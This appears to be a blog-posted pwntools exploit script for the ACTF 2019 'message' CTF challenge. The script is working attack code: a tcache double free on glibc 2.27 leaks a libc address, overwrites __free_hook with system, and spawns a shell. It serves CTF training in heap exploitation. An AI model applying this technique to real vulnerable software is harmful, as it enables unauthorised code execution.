1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import* from LibcSearcher import *
r=process("./ACTF_2019_message") context.log_level="debug" context(log_level='debug',arch='amd64',os='linux') libc=ELF('./libc-2.27.so') elf=ELF('./ACTF_2019_message')
def choice(nu): r.sendlineafter('choice: ', str(nu))
def add(size,content): choice(1) r.sendlineafter('length of message:\n', str(size)) r.sendlineafter('input the message:\n', content)
def free(idx): choice(2) r.sendlineafter('you want to delete:\n', str(idx))
def edit(idx, content): choice(3) r.sendlineafter('you want to edit:\n', str(idx)) r.sendlineafter('edit the message:\n', content )
def show(idx): choice(4) r.sendlineafter('want to display:\n', str(idx))
add(0x200,'aaaa') add(0x200,'aaaa') free(0) free(0) add(0x200,p64(0x60204c)) add(0x200,'aaaa')
payload=p64(1)+p64(0)+b'\x00'*4+p64(0x200)+p64(0x60204c)+p64(0)*20
add(0x200,payload)
for i in range(8): add(0x80,'aaaa')
for i in range(1,7): free(i) free(8) free(7)
edit(0,payload)
for i in range(7): add(0x80,'aaaa')
add(0x10,'aaaaaaa')
show(8) r.recvuntil('The message: aaaaaaa') main_arena=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-224
print('main_'+hex(main_arena)) base=main_arena-0x10-libc.sym['__malloc_hook'] free_hook=base+libc.sym['__free_hook'] system=base+libc.sym['system'] binsh=base+ next(libc.search(b'/bin/sh')) print(hex(system)) payload=p64(1)+p64(0)+b'\x00'*4+p64(0x200)+p64(0x60204c)+p64(0x80)+p64(binsh)+p64(0x80)+p64(free_hook)
edit(0,payload)
edit(2,p64(system))
r.sendlineafter('choice: ','2') r.sendlineafter('you want to delete:\n','1')
r.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~